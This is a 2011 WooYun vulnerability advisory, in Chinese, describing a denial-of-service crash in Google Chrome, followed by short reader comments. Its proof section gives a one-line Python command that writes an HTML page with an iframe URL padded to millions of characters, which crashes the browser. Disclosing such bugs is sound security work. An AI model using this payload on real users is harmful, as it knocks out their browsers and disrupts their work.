google chrome拒绝服务漏洞

漏洞概要

缺陷编号:WooYun-2011-02788

漏洞标题:google chrome拒绝服务漏洞

相关厂商:google

漏洞作者:mog

提交时间:2011-09-05 23:33

公开时间:2011-09-06 00:50

漏洞类型:拒绝服务

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

Tags标签:

漏洞详情

披露状态:

2011-09-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-09-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

google chrome/chomium, 鸡肋拒绝服务漏洞,构建特殊的html页面可导致浏览器崩溃

详细说明:

google浏览器没有对部分标签的长度进行正确处理,导致部分标签过长时间会出现内存分配失败,并导致浏览器崩溃

漏洞证明:

python -c "print "<iframe src='http://www.secevery.com:4321/bugs/wooyun-2011-02788/"+"A"*2500000+"' />"" > t.htm使用google浏览器打开生成的t.htm文件

修复方案:

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:8 (WooYun评价)

评价

  1. 2010-01-01 00:00 笨猫猫 白帽子 | Rank:21 漏洞数:5)

    firefox会无响应,chrome为每个标签开个进程是有好处的,不会让整个浏览器崩溃。

  2. 2010-01-01 00:00 CnCxzSec(衰仔) 白帽子 | Rank:271 漏洞数:32)

    给官方上报过类似的漏洞,chrome团队的答复是“that is expected:)”。

  3. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    That is expected

  4. 2010-01-01 00:00 mog 白帽子 | Rank:95 漏洞数:11)

    没什么用的的东西,测试的时候随手就丢出来了

  5. 2010-01-01 00:00 无敌L.t.H 白帽子 | Rank:21 漏洞数:4)

    Google会说这是一个奇迹。